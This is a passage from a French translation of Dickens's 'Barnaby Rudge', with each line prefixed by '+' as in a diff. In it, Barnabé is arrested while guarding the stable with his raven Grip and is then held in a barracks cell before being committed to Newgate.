+Barnabé, comprenant parfaitement son désir, lui répéta la phrase
+bien des fois. L'oiseau l'écouta avec une profonde attention,
+répétant quelquefois ce cri populaire à voix basse, comme pour
+comparer les deux manières et pour s'essayer dans ce nouvel
+exercice; quelquefois battant des ailes ou aboyant; quelquefois
+enfin, dans une espèce de désespoir, tirant une multitude infinie
+de bouchons retentissants, avec une obstination extraordinaire.
+
+Barnabé était si occupé de son oiseau favori, qu'il ne s'aperçut
+pas d'abord de l'approche de deux cavaliers qui venaient au pas,
+juste dans la direction du poste qu'il avait à garder. Cependant,
+quand ils furent à une portée de fusil, il les vit, sauta vivement
+sur ses pieds, commanda à Grip de rentrer, prît son drapeau à deux
+mains, et resta tout droit à attendre qu'il pût reconnaître si
+c'étaient des amis ou des ennemis.
+
+Presque au même instant, il vit que, de ces deux cavaliers, l'un
+était le maître et l'autre le domestique; le maître était
+précisément lord Georges Gordon, devant lequel il se tint la tête
+découverte, les yeux fixés en terre.
+
+«Bonjour, lui dit lord Georges sans arrêter son cheval avant
+d'être arrivé tout près de lui; tout va bien?
+
+-- Tout est tranquille, monsieur, tout va bien, cria Barnabé. Les
+autres sont partis: ils ont pris par là; voyez-vous ce sentier-là.
+Ils étaient beaucoup?
+
+-- Ah! dit lord Georges en le regardant d'un air sérieux, et vous?
+
+-- Oh! ils m'ont laissé ici en sentinelle... pour monter la
+garde... pour veiller à la sûreté du poste jusqu'à leur retour, ce
+que je ferai, monsieur, pour l'amour de vous. Vous êtes un bon
+gentilhomme, un excellent gentilhomme... ça, c'est sûr. Vous avez
+bien du monde contre vous; mais vous leur ferez voir leur maître.
+N'ayez pas peur.
+
+-- Qu'est-ce que c'est que ça? dit lord Georges, en montrant le
+corbeau qui regardait du coin de l'oeil à la porte de l'écurie;
+mais en faisant cette question, il regardait toujours Barnabé d'un
+air pensif, et, à ce qu'il semblait, avec une certaine inquiétude.
+
+-- Comment, vous ne savez pas? répondit Barnabé, éclatant de rire;
+ne pas savoir ce que c'est! c'est un oiseau d'abord, mon oiseau,
+mon ami Grip.
+
+-- Un diable, une bouilloire, Grip; Polly, un protestant, pas de
+papisme! cria le corbeau.
+
+-- Ce n'est pas l'embarras, ajouta Barnabé, passant la main sur le
+col du cheval de lord Georges, et parlant doucement; vous n'aviez
+pas tort de me demander ce que c'est: car souvent je n'en sais
+rien moi-même, et il faut que je sois familiarisé avec lui comme
+je le suis, pour croire que ce n'est qu'un oiseau. C'est plutôt un
+frère pour moi, que Grip... il est toujours avec moi, toujours
+jasant... toujours content... n'est-ce pas, Grip?»
+
+L'oiseau répondit par un croassement amical, et sautant sur le
+bras de son maître, que Barnabé lui avait tendu pour cela, se
+laissa caresser d'un air de parfaite indifférence tournant son
+oeil mobile et curieux, tantôt vers lord Georges, tantôt vers son
+domestique.
+
+Lord Georges, se mordant les ongles d'un air un peu déconfit,
+regarda Barnabé quelque temps en silence, puis il fit signe à son
+domestique de venir plus près de lui.
+
+John Grueby toucha le bord de son chapeau par respect et
+s'approcha.
+
+«Aviez-vous déjà vu ce jeune homme? lui demanda son maître à voix
+basse.
+
+-- Deux fois, milord, dit John. Je l'ai vu dans la foule hier au
+soir et samedi.
+
+-- Est ce que... est-ce que vous lui avez trouvé l'air aussi
+singulier, aussi étrange? continua lord Georges d'une voix faible.
+
+-- Fou! répondit John avec une concision énergique.
+
+-- Et qu'est-ce qui vous fait croire qu'il est fou, monsieur? lui
+dit son maître d'un ton de dépit. Je vous trouve bien prompt à
+lâcher ce mot-là. Qu'est-ce qui vous fait croire qu'il est fou?
+
+-- Milord, vous n'avez qu'à voir son costume, ses yeux, son
+agitation nerveuse; vous n'avez qu'à l'entendre crier: «Pas de
+papisme!» Fou, milord.
+
+-- Ainsi, parce qu'un homme s'habille autrement que les autres,
+répliqua son maître avec colère, en jetant un coup d'oeil sur son
+propre habillement; parce qu'il n'est pas dans son port et dans
+ses manières exactement comme les autres, et qu'il épouse avec
+chaleur une cause qu'abandonnent les gens corrompus et
+irréligieux, c'est une raison pour qu'il soit fou, à votre avis?
+
+-- Un vrai fou, tout ce qu'il y a de plus fou, un fou à lier,
+repartit l'inébranlable John.
+
+-- Comment osez-vous me dire cela en face? cria son maître en se
+tournant vivement de son côté.
+
+-- Je le dirais à n'importe qui, s'il me faisait la même question.
+
+-- Je vois, dit lord Georges, que M. Gashford avait raison. Je
+croyais que c'était un effet de ses préventions, et je me le
+reproche; j'aurais bien dû savoir qu'un homme comme lui était au-
+dessus de cela.
+
+-- Je sais bien que M. Gashford ne parlera jamais en bien de moi,
+répliqua John en touchant respectueusement son chapeau, et je n'y
+tiens pas.
+
+-- Vous êtes une mauvaise tête, un ingrat, dit lord Georges, un
+mouchard, peut-être. M. Gashford a parfaitement raison, j'en ai la
+preuve. J'ai tort de vous garder à mon service. C'est une insulte
+indirecte que j'ai faite à un ami digne de mon affection et de
+toute ma confiance, quand je songe à la cause pour laquelle vous
+avez pris parti, le jour où on l'a maltraité à Westminster. Vous
+quitterez ma maison dès ce soir... ou plutôt dès notre retour. Le
+plus tôt sera le mieux.
+
+-- Puisqu'il faut en venir là, je suis de votre avis, milord. Que
+M. Gashford triomphe, à la bonne heure! Mais, quant à me traiter
+de mouchard, milord, vous savez bien que vous ne le croyez pas. Je
+ne sais pas ce que vous entendez par vos causes; mais la cause
+pour laquelle j'ai pris parti, c'est celle d'un homme que je
+voyais contre deux cents, et je vous avoue que je me rangerai
+toujours du côté de cette cause-là.
+
+-- En voilà assez, répondit lord Georges en lui faisant signe de
+retourner à sa place. Je ne veux pas en entendre davantage.
+
+-- Si vous voulez me permettre d'ajouter un mot, milord, je
+voudrais donner un bon avis à ce pauvre imbécile: c'est de ne pas
+rester ici tout seul. La proclamation a déjà circulé dans beaucoup
+de mains, et tout le monde sait qu'il est intéressé dans
+l'affaire. Il fera bien, le pauvre malheureux, de se cacher en
+lieu sûr.
+
+-- Vous entendez ce qu'il dit, cria lord Georges à Barnabé, qui
+les avait regardés avec étonnement pendant ce dialogue. Il pense
+que vous pourriez bien avoir peur de rester à votre poste, et
+qu'on vous retient peut-être ici contre votre gré. Qu'est-ce que
+vous dites de ça?
+
+-- Ce que je pense, jeune homme, dit John pour expliquer son
+conseil, c'est que les soldats pourraient bien venir vous prendre,
+et que certainement, dans ce cas, vous serez pendu par votre col
+jusqu'à ce que vous soyez mort... mort... mort, vous m'entendez?
+Et ce que je pense, c'est que vous ferez bien de vous en aller
+d'ici, et au plus tôt. Voilà ce que je pense!
+
+-- C'est un poltron, Grip, un poltron! cria Barnabé à son corbeau,
+en le mettant à terre et en posant son drapeau sur son épaule.
+Qu'ils y viennent! Vive Gordon! Qu'ils y viennent!
+
+-- Oui, dit lord Georges, qu'ils y viennent. Qu'ils se risquent à
+venir attaquer un pouvoir comme le nôtre, la sainte ligue d'un
+peuple tout entier! Ah! c'est un fol! C'est bon, c'est bon. Je
+suis fier d'avoir à commander de tels hommes.»
+
+En entendant ces mots, Barnabé sentit son coeur se gonfler
+d'orgueil dans sa poitrine. Il prit la main de lord Georges et la
+porta à ses lèvres, caressa la crinière de son coursier, comme si
+l'affection et l'amour qu'il portait au maître s'étendaient
+jusqu'à sa monture, déploya son drapeau, le fit flotter fièrement,
+et se remit à marcher de long en large.
+
+Lord Georges, l'oeil brillant et la figure animée, ôta son
+chapeau, le fit tourner autour de sa tête, et lui dit adieu avec
+enthousiasme; puis il se remit au petit trot, après avoir jeté
+derrière lui un regard de colère, pour voir si son domestique le
+suivait. L'honnête John donna un coup d'éperon pour courir après
+son maître, après avoir commencé par inviter encore Barnabé à se
+retirer, par des signes répétés, qui n'étaient pas équivoques,
+mais auxquels celui-ci résista résolument jusqu'à ce que le détour
+de la route les empêchât de se voir.
+
+Se trouvant seul encore une fois, et plus fier que jamais de
+l'importance du poste qui lui était confié, plein d'enthousiasme,
+d'ailleurs, en songeant à l'estime particulière et aux
+encouragements de son chef, Barnabé se promenait de long en large,
+dans le ravissement d'un songe délicieux, où il était plongé tout
+éveillé. Les rayons du soleil couchant qu'il avait en face de lui
+avaient passé dans son âme. Il ne manquait qu'une chose à son
+bonheur. Ah! si _Elle_ pouvait seulement le voir en ce moment!
+
+Le jour était sur son déclin; la chaleur commençait à faire place
+à la fraîcheur du soir. Le vent léger qui se levait se jouait dans
+sa chevelure et faisait frissonner doucement le drapeau au-dessus
+de sa tête. Il y avait, dans ce bruit glorieux et dans le calme
+d'alentour, comme un souffle frais et libre qui répondait à ses
+sentiments. Il n'avait jamais été si heureux.
+
+Il était donc appuyé sur sa hampe, regardant le soleil couchant,
+et songeant avec un sourire qu'il était en sentinelle pour garder
+l'or enterré près de là, lorsqu'il vit de loin trois ou quatre
+hommes qui s'avançaient d'un pas rapide vers la maison, et qui
+faisaient signe de la main aux gens de l'intérieur de se retirer
+pour ne pas se trouver au milieu d'un danger prochain. À mesure
+qu'ils s'approchaient, leurs gestes devenaient de plus en plus
+expressifs, et ils ne furent pas plus tôt à portée de la voix, que
+les premiers crièrent que les soldats arrivaient.
+
+À ces mots Barnabé plia son drapeau, et l'attacha autour de la
+lance. Son coeur battait bien fort, mais il ne songeait pas plus à
+avoir peur, ni à se retirer, que sa lance elle-même. Les passants
+officieux qui l'avaient averti se hâtèrent, après l'avoir prévenu
+du danger qu'il courait, d'entrer dans la maison, où ils jetèrent
+par leur arrivée le trouble et l'alarme. Les gens se mirent
+aussitôt à fermer les portes et les fenêtres, en lui faisant signe
+avec instance de fuir sans perdre de temps, et répétèrent à
+plusieurs reprises cet avis: mais pour toute réponse il branla la
+tête d'un air indigné, et n'en resta que plus ferme à son poste.
+Voyant alors qu'il n'y avait pas moyen de le persuader, ils ne
+songèrent plus qu'à leur propre sûreté, et quittant la place, où
+ils ne laissèrent qu'une bonne vieille, ils se sauvèrent à toutes
+jambes.
+
+Jusque-là, rien n'annonçait que la crainte produite par cette
+nouvelle ne fût pas imaginaire; mais _la Botte_ n'était pas
+évacuée depuis cinq minutes, qu'on vit apparaître, à travers
+champs, une troupe d'hommes en mouvement, et, à l'éclat de leurs
+armes et de leur équipement qui brillaient au soleil, à leur
+marche régulière et soutenue (car ils avançaient comme un seul
+homme), il était facile de reconnaître que c'étaient... des
+soldats. En un moment Barnabé s'aperçut bien que c'était un fort
+détachement de gardes à pied, avec deux messieurs en habit
+bourgeois dans leurs rangs, et un petit peloton de cavalerie; ces
+derniers étaient à l'arrière-garde et pas plus d'une demi-
+douzaine.
+
+Ils avançaient résolument, sans accélérer le pas en approchant,
+sans pousser un cri, sans montrer la moindre émotion ni la moindre
+inquiétude. Barnabé lui-même savait bien que cela n'avait rien
+d'extraordinaire dans la troupe; cependant cet ordre invariable
+avait quelque chose de singulièrement imposant pour un homme
+accoutumé au bruit et au tumulte d'une populace indisciplinée.
+Avec tout cela, il n'en resta pas moins décidé à garder son poste,
+et fit bonne contenance.
+
+Ils étaient déjà arrivés dans la cour, où ils firent halte.
+L'officier qui les commandait dépêcha une ordonnance aux
+cavaliers, qui envoyèrent immédiatement un des leurs. L'officier
+échangea avec lui quelques mots, et ils jetèrent un coup d'oeil à
+Barnabé, qui reconnut dans le cavalier celui qu'il avait démonté à
+Westminster, bien étonné de le revoir en face de lui. L'autre,
+renvoyé en toute hâte, fit le salut militaire au commandant et
+retourna vers ses camarades, rangés à quelques pas de là.
+
+L'officier ayant alors commandé: «amorcez... chargez, etc.,»
+Barnabé, malgré la cruelle assurance que c'était pour lui que se
+faisaient ces préparatifs, ne put se défendre d'un certain plaisir
+en entendant sonner la crosse des fusils à terre et retentir la
+baguette dans le canon de l'arme. Mais après quelques autres
+commandements, les soldats se mirent immédiatement sur une file et
+cernèrent entièrement les bâtiments, à la distance d'une dizaine
+de pas; du moins Barnabé n'en compta pas davantage entre lui et
+les soldats qui lui faisaient face. Les cavaliers restèrent à
+part, à leur place.
+
+Les deux messieurs en habit bourgeois qui s'étaient mis à l' écart
+avancèrent à cheval avec l'officier au milieu d'eux; il y en eut
+un qui tira de sa poche la proclamation et la lut: l'officier
+somma alors Barnabé de se rendre.
+
+Au lieu de répondre, il alla se placer dans l'embrasure de la
+porte devant laquelle il montait la garde, et croisa la lance pour
+se défendre. Après un moment d'un profond silence eut lieu la
+seconde sommation.
+
+Il n'y répondit pas davantage; et alors il eut fort à faire de
+promener ses yeux de tous côtés sur une demi-douzaine
+d'adversaires qui vinrent immédiatement se poster en face de lui,
+avant de jeter son dévolu sur celui qu'il devait frapper le
+premier quand ils allaient se jeter sur lui. Il rencontra les yeux
+de l'un d'eux dans le centre de la petite troupe, et c'est celui-
+là qu'il résolut d'abattre, dût-il y perdre la vie.
+
+Encore un silence de mort, puis la troisième sommation.
+
+Le moment d'après il reculait dans l'écurie, distribuant des coups
+à droite et à gauche comme un enragé. Deux de ses ennemis étaient
+étendus à ses pieds. Celui qu'il avait choisi pour première
+victime était tombé d'abord en effet: Barnabé n'avait pas perdu la
+tête, car il en fit la remarque au milieu du trouble et de
+l'animation de la lutte. Encore un coup... encore un homme à bas
+puis à bas à son tour, terrassé, blessé à la poitrine d'un coup de
+crosse (il l'avait vue tomber sur lui), inanimé... prisonnier...
+
+Il fut rappelé à lui par un cri de surprise que poussa l'officier.
+Il se retourna. Grip, après avoir travaillé en secret toute
+l'après-midi avec un redoublement d'ardeur, pendant que tout le
+monde était occupé d'autre chose, avait écarté la paille du lit de
+Hugh, et retourné de son bec en fer la terre fraîchement remuée.
+Il y avait là un trou qu'on avait négligemment rempli jusqu'au
+bord, et qu'on avait seulement recouvert d'une couche de terre.
+Des gobelets d'or, des cuillers d'or, des flambeaux d'or, des
+guinées... quel trésor fut mis tout à coup à découvert!
+
+Ils apportèrent un sac et des pelles, déterrèrent tout ce qu'on
+avait caché là, et en retirèrent la charge de deux hommes au
+moins. Quant à Barnabé, on lui mit les menottes, on lui lia les
+bras, on le fouilla, on lui prit tout ce qu'il avait. Personne ne
+lui adressa ni une question ni un reproche, personne ne lui
+témoigna la moindre curiosité, les deux soldats qu'il avait
+étourdis furent emportés par leurs compagnons avec le même ordre
+insouciant qui avait présidé à tout le reste. Finalement, on le
+laissa sous la garde de quatre soldats, la baïonnette au bout du
+fusil, pendant que l'officier dirigea en personne une perquisition
+générale dans la maison et dans les bâtiments qui en dépendaient.
+
+Ce fut bientôt fait. Les soldats se reformèrent en rangs dans la
+cour. «En avant, marche!» Barnabé est emmené sous escorte; on lui
+fait une place, «Serrez les rangs.» Et les voilà partis avec leur
+prisonnier au centre.
+
+Quand une fois ils furent dans les rues, il s'aperçut qu'il était
+en spectacle, et dans leur marche rapide il pouvait voir tout le
+monde venir aux fenêtres quand il était passé, et relever la
+croisée pour le regarder. De temps en temps il apercevait une
+figure de curieux par-dessus la tête des gardes qui l'entouraient,
+ou par-dessous leurs bras, ou sur le haut d'une charrette, ou sur
+le siège d'un cocher; mais c'est tout ce qu'il pouvait distinguer
+au milieu de sa nombreuse escorte. Le bruit même de la rue
+semblait dompté et garrotté comme lui, et l'air qu'il respirait
+était fétide et chaud comme les bouffées malsaines qui s'exhalent
+d'un four.
+
+«Une, deux! une, deux! la tête droite! les épaules effacées!
+emboîtez le pas!» Tout cela avec tant d'ordre et de régularité,
+sans que pas un d'eux le regardât ou parût se douter de sa
+présence! Il ne pouvait croire qu'il fût prisonnier, mais il ne
+l'était que trop bien, il n'avait pas besoin qu'on le lui dit: il
+sentait les menottes lui serrer les poignets, la corde lui lier
+les bras au flanc, les fusils chargés à hauteur de sa tête, avec
+ces pointes froides, brillantes, affilées, tournées de son côté.
+Rien que de les regarder, lié et retenu comme il était maintenant,
+c'en était assez pour lui glacer le sang dans les veines.
+
+
+
+
+CHAPITRE XVI.
+
+
+Ils ne mirent pas longtemps à regagner la caserne, car l'officier
+qui commandait le détachement voulait éviter de soulever le peuple
+par un déploiement inusité de force militaire dans les rues, et,
+par humanité d'ailleurs, il désirait donner le moins de tentation
+possible à la foule d'essayer quelque rébellion pour arracher le
+prisonnier de ses mains: car il savait bien que cela ne manquerait
+pas d'amener une effusion de sang fatale, et que, si les autorités
+civiles qui l'accompagnaient l'autorisaient à faire tirer ses
+soldats, la première décharge ferait tomber sur la place un grand
+nombre d'oisifs innocents, victimes de leur sotte curiosité. Il
+fit donc marcher sa troupe au pas accéléré, évitant avec une
+prudence louable les rues populeuses et les carrefours, prenant de
+préférence le chemin qu'il croyait le moins infesté par les
+partisans du désordre. Grâce à ces sages précautions, non
+seulement ils purent retourner dans leurs quartiers sans embarras,
+mais ils déjouèrent complètement les projets d'une bande
+d'insurgés qui s'étaient rassemblés dans une grande rue qu'on
+s'attendait à leur voir prendre, et qui restèrent encore à les
+attendre, pour délivrer le prisonnier, longtemps après qu'ils
+l'avaient déjà déposé en lieu de sûreté, avaient fermé les portes
+de la caserne, et doublé les postes de chacune d'elles pour mieux
+en assurer la défense.
+
+Une fois là, le pauvre Barnabé fut coffré dans une chambre
+carrelée, où il n'y avait qu'une odeur empestée de tabac, un air
+lourd et épais, avec un grand lit de camp pour vingt hommes au
+moins. Quelques soldats à moitié déshabillés flânaient par là, ou
+mangeaient à la gamelle. On voyait des uniformes pendus à des
+rangées de portemanteaux le long du mur blanchi à la chaux, et une
+demi-douzaine d'hommes couchés sur le dos, dormant et ronflant de
+concert comme des bienheureux. Il avait à peine eu le temps de
+faire toutes ces remarques, lorsqu'on le tira de là pour
+l'emmener, à travers le champ de parade, dans une autre partie du
+bâtiment.
+
+Dans une pareille situation, un coup d'oeil suffit pour vous faire
+voir bien des choses, qui vous prendraient bien plus de temps dans
+un moment moins critique. Il y a cent à parier contre un que, si
+Barnabé avait flâné en pleine liberté à la porte, il serait sorti
+de là avec une idée très imparfaite des localités, et qu'il ne
+s'en serait guère souvenu plus tard. Mais, avec les mains serrées
+dans les menottes, en traversant le préau sablé des exercices du
+régiment, il ne laissa rien passer. L'aspect sec et aride de cette
+place poudreuse, et du bâtiment de briques dans toute sa nudité;
+les habits pendus ça et là à quelques fenêtres; les hommes en bras
+de chemises et en bretelles se balançant à quelques autres, la
+moitié du corps en avant; les jalousies vertes dans le quartier
+des officiers, avec quelques arbustes chétifs sur le devant; les
+tambours étudiant dans une cour éloignée; les hommes à l'exercice;
+les deux soldats qui, tout en portant à eux deux le panier de
+provisions, se regardent du coin de l'oeil, en voyant passer
+Barnabé, et font un geste de la main en travers de la jugulaire
+sans rien dire, triste augure pour le prisonnier; le joli sergent
+qui se dandine, sa canne à la main et sous son bras un registre à
+fermoir, recouvert de parchemin; les lascars, au rez-de-chaussée,
+occupés à brosser et à astiquer différents articles de toilette,
+qui s'arrêtent pour le regarder et se parlent tous ensemble,
+faisant retentir de leurs voix bruyantes les échos des longs
+corridors et des sonores galeries; tout, jusqu'au râtelier d'armes
+devant le poste, et au tambour attaché dans un coin à son
+ceinturon blanchi à la terre de pipe, se grave dans son esprit,
+comme s'il avait passé par là plus de cent fois, ou qu'il fût
+resté un jour entier avec eux, au lieu de cette minute
+d'observations faites en courant.
+
+On le mena dans une petite cour pavée, sur le derrière, et là on
+ouvrit une grande porte, doublée de fer, percée, à cinq pieds du
+sol, de quelques trous pour laisser pénétrer l'air et le jour.
+C'était le cachot, où on le mit incontinent; puis on ferma la
+porte sur lui, on plaça devant une sentinelle, et on l'abandonna à
+ses réflexions.
+
+Ce caveau ou _trou noir_, selon l'inscription peinte sur la porte,
+était très sombre, et, comme le dernier occupant était un
+déserteur ivre, la place n'était pas propre. Barnabé alla trouver
+à tâtons un peu de paille au fond, et, regardant du côté de la
+porte, essaya de s'accoutumer à l'obscurité, ce qui n'était pas
+facile, en sortant de la clarté d'un beau soleil couchant.
+
+Il y avait au dehors une espèce de portique ou colonnade, qui
+interceptait encore le peu de jour qui aurait pu à grand'peine
+faire son chemin par les petites ouvertures pratiquées dans la
+porte. Les pas cadencés de la sentinelle retentissaient avec un
+bruit monotone sur la dalle, de long en large, rappelant à Barnabé
+la garde qu'il avait montée lui-même une heure auparavant; et,
+chaque fois que le factionnaire passait et repassait devant la
+porte, son ombre obscurcissait tellement le caveau que, quand elle
+disparaissait, il semblait que le jour revenait: c'était comme une
+nouvelle aurore.
+
+Quand le prisonnier fut resté quelque temps assis sur la paille, à
+regarder les crevasses de la porte et à écouter les pas éloignés
+ou rapprochés de la sentinelle, le soldat se tint tranquille en
+place. Barnabé, qui n'avait pas assez de prévoyance pour réfléchir
+au sort qu'on pouvait lui réserver, avait été bercé dans une
+espèce de sommeil enfantin par le pas régulier du factionnaire;
+mais, quand l'autre s'arrêta, cela le réveilla, et alors il
+s'aperçut qu'il y avait deux hommes en conversation sous la
+colonnade, tout près de la porte de sa cellule.
+
+Il lui était impossible de dire s'il y avait longtemps qu'ils
+étaient là à causer, car il était tombé dans un état d'apathie où
+il avait totalement oublié sa position réelle, et, au moment où il
+entendit les pas du soldat cesser, il était en train de répondre
+tout haut à une question que lui faisait Hugh dans l'écurie: à
+quel propos? sur quel sujet? qu'allait-il lui répondre? Quoiqu'il
+eût encore la réponse sur les lèvres en s'éveillant, il ne se
+rappelait plus la moindre chose. Les premiers mots qui frappèrent
+ses oreilles furent ceux-ci:
+
+«Pourquoi donc l'a-t-on amené là, si on devait le reprendre sitôt?
+
+-- Et où vouliez-vous qu'il allât? Croyez-vous qu'il pût être
+nulle part aussi en sûreté qu'avec les troupes du roi? Que
+vouliez-vous qu'on en fit? Fallait-il pas le livrer à un tas de
+péquins qui tremblent dans leurs bottes à en enfoncer la semelle,
+à la moindre menace des gueux de son bord?
+
+-- Pour ça, c'est vrai.
+
+-- Si c'est vrai!... tenez! je vais vous dire. Je voudrais tant
+seulement, Tom Green, être capitaine comme je ne suis que sous-
+officier, et qu'on me donnât à commander deux compagnies... je ne
+demanderais que deux compagnies ... de mon régiment. Après ça
+qu'on m'appelle pour apaiser l'émeute. Qu'on me donne carte
+blanche et une demi-douzaine de cartouches à balle...
+
+-- Ouais! disait l'autre voix, vous en parlez bien à votre aise,
+mais ils ne vous donneront pas carte blanche. Et si le magistrat
+ne veut pas vous autoriser, qu'est-ce que vous voulez que fasse
+l'officier?»
+
+Cette difficulté parut embarrasser le sergent, qui s'en tira en
+envoyant les magistrats à tous les diables. «De tout mon coeur,
+répondit son ami.
+
+-- Qu'y a-t-il besoin d'un magistrat? reprit l'autre. Un
+magistrat, dans ce cas-là, ce n'est qu'une cinquième roue à un
+carrosse, une espèce d'intrus inconstitutionnel. Voilà une
+proclamation. Voilà un homme désigné dans la proclamation. Voilà
+des preuves contre lui, et un témoin oculaire. Que diable! mettez-
+le en place, et tirez-lui une balle dans la tête, monsieur. Pour
+quoi faire un magistrat?
+
+-- Quand est-ce qu'on le mène devant sir John Fielding? demanda le
+premier interlocuteur.
+
+-- Ce soir, à huit heures, répondit l'autre. Eh bien! voyez un peu
+les suites de tout ça. Le magistrat l'envoie à Newgate. Bon! nous
+l'amenons à Newgate. Les insurgés nous attaquent. Nous reculons
+devant les insurgés. On nous jette des pierres, on nous insulte:
+nous ne tirons pas un coup de fusil. Pourquoi ça? Parce qu'il y a
+des magistrats. Que le diable emporte les magistrats!»
+
+Après s'être donné la consolation d'épuiser toutes les
+malédictions de son vocabulaire contre les magistrats, l'homme ne
+fit plus entendre qu'un grognement sourd, qui lui échappait de
+temps en temps, toujours à l'adresse de ces autorités
+respectables.
+
+Barnabé, qui avait encore assez d'esprit pour comprendre que cette
+conversation l'intéressait directement, resta parfaitement
+tranquille jusqu'à la fin; puis, quand ils ne dirent plus rien. Il
+reprit à tâtons le chemin de la porte, et jetant un coup d'oeil
+par les trous ventilatoires, il essaya de voir ce que c'était que
+les hommes qu'il venait d'entendre causer là.
+
+Celui qui condamnait en termes si énergiques le pouvoir civil,
+était un sergent, pour le moment employé, comme on le voyait aux
+rubans qui flottaient sur sa calotte, au service du recrutement.
+Il était appuyé de côté contre un pilier, presque en face de la
+porte, et, tout en grommelant entre ses dents, il dessinait avec
+sa canne des arabesques sur le trottoir. L'autre avait le dos
+tourné au cachot, et ne laissait voir à Barnabé que sa forme. À en
+juger par les apparences, c'était un bel homme, bien taillé, bien
+tourné, mais qui avait perdu le bras gauche. On l'avait amputé
+entre le coude et l'épaule, et sa manche flottante et vide était
+croisée sur sa poitrine.
+
+C'est sans doute à cette circonstance qu'il dut d'attirer de
+préférence l'attention et l'intérêt de Barnabé. Il avait quelque
+chose de militaire dans la tenue, et il portait une toque
+gracieuse et une veste qui dessinait bien sa taille. Peut-être
+avait-il déjà servi; dans tous les cas il ne pouvait pas y avoir
+bien longtemps, car il était encore tout jeune.
+
+«Bon! bon! dit-il d'un air pensif. Que la faute en soit où ça
+voudra, il n'en est pas moins vrai qu'il est triste de revenir
+dans ma bonne vieille Angleterre pour la voir dans cet état-là.
+
+-- Je suppose que les cochons vont s'en mêler, dit le sergent,
+avec une imprécation contre les émeutiers, à présent que les
+oiseaux leur ont déjà donné l'exemple.
+
+-- Les oiseaux! répéta Tom Green.
+
+-- Mais oui, les oiseaux, répéta le sergent d'un air bourru Est-ce
+que vous n'entendez plus votre langue?
+
+-- Ma foi! je ne vous comprends pas.
+
+-- Vous n'avez qu'à aller voir au poste: vous y trouverez un
+oiseau qui sait leur cri de ralliement comme pas un d'eux; vous
+l'entendrez brailler: Pas de papisme! comme un homme, ou comme un
+diable, car il prend lui-même ce titre, et franchement je crois
+qu'il a raison. Il faut que le diable soit déchaîné quelque part
+dans Londres. Dieu me damne! si on voulait me croire, je lui
+aurais bientôt tordu le col.»
+
+Le jeune manchot s'était reculé de deux ou trois pas pour filer
+voir l'animal, quand la voix de Barnabé l'arrêta:
+
+«C'est à moi, cria-t-il, moitié riant, moitié pleurant; c'est mon
+chéri, mon ami Grip. Ha! ha! ha! n'allez pas lui faire du mal; il
+ne vous en a pas fait. C'est moi qui lui ai appris ce qu'il sait:
+ce n'est donc pas sa faute, c'est la mienne. Vous devriez bien me
+l'apporter. C'est le seul ami que j'aie à présent. Avec vous,
+voyez-vous, il se gardera bien de danser, de causer ou de siffler;
+mais avec moi, c'est bien différent, parce qu'il me connaît; vous
+ne croiriez jamais comme il m'aime. Vous n'êtes pas capable
+d'aller faire du mal à un oiseau, n'est-ce pas? Vous êtes un brave
+soldat, monsieur; vous n'iriez pas faire du mal à une femme ou à
+un enfant: un oiseau, c'est tout comme.
+
+Cette dernière supplication s'adressait au sergent, que Barnabé,
+d'après son habit rouge et ses épaulettes, jugeait d'un grade
+assez élevé dans les honneurs militaires, pour pouvoir décider
+d'un mot la destinée de Grip. Mais ce gentleman, pour toute
+réponse, l'envoya au diable comme un brigand de rebelle qu'il
+était, et jurant par le sang, par la mort, par la tête, etc.,
+finit par l'assurer que, si cela ne dépendait que de lui, il
+aurait bientôt coupé le sifflet de l'oiseau... et de son maître
+par-dessus le marché.
+
+-- Vous êtes bien brave en paroles avec un pauvre homme en cage,
+dit Barnabé furieux. Si j'étais seulement de l'autre côté de la
+porte qui nous sépare, et que nous fussions entre quatre yeux, je
+vous ferais bientôt chanter une autre gamme...Oui, oui, remuez la
+tête tant que vous voudrez... je vous ferais chanter une autre
+gamme. Tuer mon oiseau!... Eh bien! essayez. Tuez tout ce que vous
+voudrez; mais gare aux représailles, quand ceux qui ont les mains
+liées pour le quart d'heure seront en état de vous le rendre!»
+
+Après ce beau défi, il se jeta dans le coin de son cachot en
+marmottant:
+
+«Au revoir, Grip... au revoir, mon bon vieux Grip!» Puis il versa
+des larmes, pour la première fois depuis sa captivité, et se cacha
+la figure dans la paille.
+
+Il avait eu d'abord dans l'idée que le manchot aurait pris son
+parti, ou qu'au moins il lui aurait dit un mot ou deux
+d'encouragement. Pourquoi? c'est ce qu'il n'aurait pu expliquer,
+mais enfin il s'était imaginé ça. Le jeune invalide, en
+l'entendant parler, avait pris soin de ne pas se retourner de son
+côté, et de se tenir immobile, sans dire un mot, écoutant
+attentivement chaque mot de ce que disait Barnabé. Peut-être
+était-ce cette attention de sa part, ou sa jeunesse ou son air
+franc et honnête, sur lesquels le prisonnier avait bâti ses
+suppositions. Dans tous les cas, il avait bâti sur le sable.
+L'autre s'en alla tout de suite quand Barnabé eut fini de parler,
+sans lui répondre, sans se retourner seulement de son côté. Tant
+pis! tant pis! Il voyait maintenant que tout le monde était contre
+lui; il aurait bien dû s'en douter: «Au revoir, mon vieux Grip, au
+revoir.»
+
+Au bout de quelque temps, on vint ouvrir sa porte et l'appeler
+pour sortir. Il fut aussitôt sur pied: car il n'aurait pas voulu,
+pour tout au monde, leur laisser croire qu'il eût la moindre
+émotion, la moindre crainte. Il sortit donc et se mit à marcher
+comme un homme, en les regardant face à face.
+
+Pas un des soldats qui l'accompagnaient ne fit seulement attention
+à cette fanfaronnade. Ils le ramenèrent au champ d'exercice par le
+même chemin qu'ils avaient pris pour venir, et s'arrêtèrent là, au
+milieu d'un détachement deux fois aussi nombreux que celui qui
+l'avait fait prisonnier dans l'après-midi. L'officier, qu'il
+reconnut, lui dit en peu de mots de bien faire attention que, s'il
+essayait de s'échapper, quelle que fût l'occasion qu'il pût
+rencontrer de le faire avec une chance de succès, il y avait là
+des hommes dont la consigne était de faire feu sur lui au moment
+même. Après quoi ils l'enveloppèrent comme la première fois, et
+l'emmenèrent de nouveau.
+
+C'est dans cet ordre invariable qu'ils arrivèrent à Bow-Street[4],
+suivis et pressés de tous côtés par une foule toujours croissante.
+Là on le fit comparaître devant un brave monsieur qui n'y voyait
+pas clair, et on lui demanda s'il avait, quelque chose à dire:
+
+«Moi? rien. Que diable voulez-vous que j'aie à vous dire.»
+
+Après quelques minutes de conversation entre les officiers de
+police, dont il ne prit aucun souci, tant il montrait
+d'indifférence, on lui annonça qu'il allait se rendre à Newgate,
+et on l'emmena.
+
+Quand il fut dans la rue, il était si bien entouré des deux côtés
+par les soldats qui le pressaient qu'il ne pouvait rien voir.
